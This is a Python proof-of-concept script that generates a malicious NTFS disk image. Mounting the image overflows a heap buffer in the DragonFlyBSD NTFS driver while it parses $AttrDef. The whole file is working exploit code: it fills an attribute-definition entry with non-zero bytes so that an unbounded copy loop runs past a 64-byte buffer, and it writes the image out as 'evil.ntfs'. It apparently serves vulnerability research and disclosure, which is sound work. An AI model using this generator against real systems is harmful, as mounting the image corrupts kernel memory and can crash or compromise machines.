#!/usr/bin/env python3
"""
DF-2555: NTFS $AttrDef heap overflow PoC image generator.

Creates a minimal NTFS image whose $AttrDef file (MFT entry 4) contains a
crafted attribute-definition entry whose wchar name field (128 bytes = 64
wchars) is entirely non-zero, AND whose following struct fields (ad_type,
reserved1, ad_flag, ad_minlen, ad_maxlen) are also entirely non-zero.

When the DragonFlyBSD NTFS driver mounts this image, the do/while loop at
ntfs_vfsops.c:458-460 copies ad_name[j] (wchar, 2 bytes) into
ntm_ad[i].ad_name[j] (char, 1 byte) with no bounds check, continuing until
a zero wchar is encountered.  With all 160 bytes of the source struct entry
non-zero, the loop writes past the 64-byte destination ad_name buffer,
overflowing into adjacent heap memory.
"""

import struct
import sys

# ---- Filesystem parameters ----
BPS = 512
SPC = 1
MFTRECSZ = 2                          # 2 clusters = 1024 bytes per MFT record
MFTREC_BYTES = MFTRECSZ * SPC * BPS   # 1024
MFT_CN = 2                            # MFT starts at cluster 2
NUM_MFT_ENTRIES = 11                  # entries 0-10
MFT_SECTORS = NUM_MFT_ENTRIES * MFTRECSZ * SPC
MFT_CLUSTERS = MFT_SECTORS

UPCASE_CN = MFT_CN + MFT_CLUSTERS     # cluster 24
UPCASE_WCHARS = 65536
UPCASE_BYTES = UPCASE_WCHARS * 2      # 128KB
UPCASE_SECTORS = UPCASE_BYTES // BPS

VOLUME_SECTORS = UPCASE_CN + UPCASE_SECTORS + 32
VOLUME_BYTES = VOLUME_SECTORS * BPS

NTFS_FILEMAGIC = 0x454C4946
NTFS_A_STD = 0x10
NTFS_A_DATA = 0x80
NTFS_A_INDXROOT = 0x90
NTFS_AF_INRUN = 0x01
NTFS_FRFLAG_DIR = 0x0002
ATTR_END = 0xFFFFFFFF


def le16(v):
    return struct.pack('<H', v & 0xFFFF)

def le32(v):
    return struct.pack('<I', v & 0xFFFFFFFF)

def le64(v):
    return struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF)


def build_boot_sector():
    boot = bytearray(BPS)
    boot[0:3] = b'\xEB\x52\x90'
    boot[3:11] = b'NTFS    '
    boot[11:13] = le16(BPS)
    boot[13] = SPC
    boot[21] = 0xF8
    boot[24:26] = le16(63)
    boot[26:28] = le16(255)
    boot[40:48] = le64(VOLUME_SECTORS)
    boot[48:56] = le64(MFT_CN)
    boot[56:64] = le64(MFT_CN + 1)
    boot[64] = MFTRECSZ
    boot[65:69] = le32(4096)
    boot[69:73] = le32(0xDEADBEEF)
    boot[510] = 0x55
    boot[511] = 0xAA
    return bytes(boot)


def make_fixup(record_bytes, fixup_offset):
    rec = bytearray(record_bytes)
    num_sectors = len(rec) // BPS
    check_value = 0x0001
    struct.pack_into('<H', rec, 4, fixup_offset)
    struct.pack_into('<H', rec, 6, num_sectors + 1)
    struct.pack_into('<H', rec, fixup_offset, check_value)
    for i in range(num_sectors):
        sector_end = (i + 1) * BPS - 2
        orig = struct.unpack_from('<H', rec, sector_end)[0]
        struct.pack_into('<H', rec, fixup_offset + 2 * (i + 1), orig)
        struct.pack_into('<H', rec, sector_end, check_value)
    return bytes(rec)


def build_nonresident_attr(atype, start_cn, num_clusters):
    vcnstart = 0
    vcnend = num_clusters - 1
    datalen = num_clusters * SPC * BPS
    allocated = datalen
    dataoff = 64  # header size for non-resident

    hdr = bytearray(dataoff)
    struct.pack_into('<I', hdr, 0, atype)
    hdr[8] = NTFS_AF_INRUN
    struct.pack_into('<Q', hdr, 16, vcnstart)
    struct.pack_into('<Q', hdr, 24, vcnend)
    struct.pack_into('<H', hdr, 32, dataoff)
    struct.pack_into('<Q', hdr, 40, allocated)
    struct.pack_into('<Q', hdr, 48, datalen)
    struct.pack_into('<Q', hdr, 56, datalen)

    run_list = encode_run(num_clusters, start_cn)
    run_list += b'\x00'
    reclen = dataoff + len(run_list)
    reclen = (reclen + 7) & ~7
    struct.pack_into('<I', hdr, 4, reclen)
    attr = bytes(hdr) + run_list
    attr = attr + b'\x00' * (reclen - len(attr))
    return attr


def encode_run(length, offset):
    len_bytes = max(1, (length.bit_length() + 7) // 8)
    if offset >= 0:
        off_bytes = max(1, (offset.bit_length() + 7) // 8)
    else:
        off_bytes = max(1, ((-offset - 1).bit_length() + 8) // 8)
    header = (off_bytes << 4) | len_bytes
    result = bytearray([header])
    result += length.to_bytes(len_bytes, 'little')
    if offset >= 0:
        result += offset.to_bytes(off_bytes, 'little')
    else:
        result += offset.to_bytes(off_bytes, 'little', signed=True)
    return bytes(result)


def build_resident_attr(atype, data, name=None):
    """Build a resident attribute with optional Unicode name (e.g. '$I30')."""
    if name:
        name_wchars = []
        for ch in name:
            name_wchars.append(ord(ch))
        namelen = len(name_wchars)
        name_bytes = b''.join(le16(c) for c in name_wchars)
        nameoff = 24  # after attrhdr(16) + a_S_r(8)
        dataoff = nameoff + len(name_bytes)
        dataoff = (dataoff + 7) & ~7  # 8-byte align
    else:
        namelen = 0
        name_bytes = b''
        nameoff = 0
        dataoff = 24

    datalen = len(data)
    hdr = bytearray(dataoff)  # space for header + name area
    struct.pack_into('<I', hdr, 0, atype)
    reclen = dataoff + datalen
    reclen = (reclen + 7) & ~7
    struct.pack_into('<I', hdr, 4, reclen)
    hdr[8] = 0x00  # resident
    hdr[9] = namelen
    hdr[10] = nameoff if name else 0
    struct.pack_into('<H', hdr, 16, datalen)
    struct.pack_into('<H', hdr, 18, 0)
    struct.pack_into('<H', hdr, 20, dataoff)
    struct.pack_into('<H', hdr, 22, 0)

    # Write name INTO the header at nameoff (not appended after)
    if name_bytes:
        hdr[nameoff:nameoff + len(name_bytes)] = name_bytes

    attr = bytes(hdr) + data
    attr = attr + b'\x00' * (reclen - len(attr))
    return attr


def build_mft_record(attrs_data, flags=0):
    attroff = 56
    hdr = bytearray(48)
    struct.pack_into('<I', hdr, 0, NTFS_FILEMAGIC)
    struct.pack_into('<H', hdr, 16, 1)   # seqnum
    struct.pack_into('<H', hdr, 18, 1)   # nlink
    struct.pack_into('<H', hdr, 20, attroff)
    struct.pack_into('<H', hdr, 22, flags)
    struct.pack_into('<I', hdr, 24, MFTREC_BYTES)
    struct.pack_into('<I', hdr, 28, MFTREC_BYTES)

    rec = bytearray(MFTREC_BYTES)
    rec[0:48] = hdr

    pos = attroff
    for attr in attrs_data:
        rec[pos:pos + len(attr)] = attr
        pos += len(attr)

    struct.pack_into('<I', rec, pos, ATTR_END)
    pos += 4
    struct.pack_into('<I', rec, pos, 0)
    rec = make_fixup(bytes(rec), fixup_offset=48)
    return rec


def build_attrdef_payload(overflow=True):
    """
    $AttrDef $DATA content.
    overflow=True:  entry 0 has ALL 160 bytes non-zero → loop overflows
    overflow=False: entry 0 has a normal null-terminated name (control)
    """
    ENTRY_SIZE = 160  # sizeof(struct attrdef), packed

    if overflow:
        entry0 = bytearray(b'\x41' * ENTRY_SIZE)  # every byte 0x41
    else:
        entry0 = bytearray(ENTRY_SIZE)
        name = '$STANDARD_INFORMATION'
        for i, ch in enumerate(name):
            struct.pack_into('<H', entry0, i * 2, ord(ch))
        struct.pack_into('<I', entry0, 128, 0x10)  # ad_type

    entry1 = bytearray(ENTRY_SIZE)  # terminator
    return bytes(entry0) + bytes(entry1)


def build_bitmap_data():
    num_clusters = VOLUME_SECTORS
    bmsize = (num_clusters + 7) // 8
    bm = bytearray(bmsize)
    for i in range(num_clusters):
        bm[i // 8] |= (1 << (i % 8))
    return bytes(bm)


def build_upcase_data():
    data = bytearray(UPCASE_BYTES)
    for i in range(UPCASE_WCHARS):
        if 0x61 <= i <= 0x7A:
            val = i - 0x20
        elif 0xE0 <= i <= 0xFE:
            val = i - 0x20
        else:
            val = i
        struct.pack_into('<H', data, i * 2, val)
    return bytes(data)


def build_indxroot_data():
    """INDEX_ROOT data for an empty directory (no entries, just LAST marker)."""
    ir = bytearray(32)
    struct.pack_into('<I', ir, 0, 0x30)    # ir_unkn1
    struct.pack_into('<I', ir, 4, 0x01)    # ir_unkn2
    struct.pack_into('<I', ir, 8, 0x1000)  # ir_size (index alloc size)
    struct.pack_into('<I', ir, 12, 1)      # ir_unkn3
    struct.pack_into('<I', ir, 16, 0x10)   # ir_unkn4
    struct.pack_into('<I', ir, 20, 32)     # ir_datalen
    struct.pack_into('<I', ir, 24, 32)     # ir_allocated
    struct.pack_into('<H', ir, 28, 0)      # ir_flag = 0 (no index alloc)
    struct.pack_into('<H', ir, 30, 0)      # ir_unkn7

    # Last index entry marker (just the LAST flag)
    ie = bytearray(16)
    struct.pack_into('<H', ie, 8, 16)      # reclen
    struct.pack_into('<I', ie, 12, 0x02)   # ie_flag = LAST

    return bytes(ir) + bytes(ie)


def main():
    output = sys.argv[1] if len(sys.argv) > 1 else 'evil.ntfs'
    overflow = '--safe' not in sys.argv

    boot = build_boot_sector()
    boot_block = boot + bytearray(BPS)

    mft_entries = []

    # Entry 0: $MFT
    mft_data_attr = build_nonresident_attr(
        NTFS_A_DATA, start_cn=MFT_CN, num_clusters=MFT_CLUSTERS)
    mft_entries.append(build_mft_record([mft_data_attr], flags=NTFS_AF_INRUN))

    # Entries 1-3: empty
    for _ in range(3):
        mft_entries.append(build_mft_record([], flags=0))

    # Entry 4: $AttrDef (THE TARGET)
    attrdef_data = build_attrdef_payload(overflow=overflow)
    attrdef_attr = build_resident_attr(NTFS_A_DATA, attrdef_data)
    mft_entries.append(build_mft_record([attrdef_attr], flags=0))

    # Entry 5: $Root (directory with named INDEX_ROOT)
    indxroot_data = build_indxroot_data()
    indxroot_attr = build_resident_attr(NTFS_A_INDXROOT, indxroot_data, name='$I30')
    mft_entries.append(build_mft_record([indxroot_attr], flags=NTFS_FRFLAG_DIR))

    # Entry 6: $Bitmap
    bitmap_data = build_bitmap_data()
    bitmap_attr = build_resident_attr(NTFS_A_DATA, bitmap_data)
    mft_entries.append(build_mft_record([bitmap_attr], flags=0))

    # Entries 7-9: empty
    for _ in range(3):
        mft_entries.append(build_mft_record([], flags=0))

    # Entry 10: $UpCase
    upcase_attr = build_nonresident_attr(
        NTFS_A_DATA, start_cn=UPCASE_CN, num_clusters=UPCASE_SECTORS)
    mft_entries.append(build_mft_record([upcase_attr], flags=NTFS_AF_INRUN))

    assert len(mft_entries) == NUM_MFT_ENTRIES

    image = bytearray(VOLUME_BYTES)
    image[0:len(boot_block)] = boot_block

    mft_offset = MFT_CN * SPC * BPS
    for i, entry in enumerate(mft_entries):
        entry_offset = mft_offset + i * MFTREC_BYTES
        image[entry_offset:entry_offset + MFTREC_BYTES] = entry

    upcase_offset = UPCASE_CN * SPC * BPS
    upcase_data = build_upcase_data()
    image[upcase_offset:upcase_offset + len(upcase_data)] = upcase_data

    with open(output, 'wb') as f:
        f.write(image)

    mode = "OVERFLOW" if overflow else "SAFE"
    print(f"Generated {output}: {len(image)} bytes ({VOLUME_SECTORS} sectors) [{mode}]")


if __name__ == '__main__':
    main()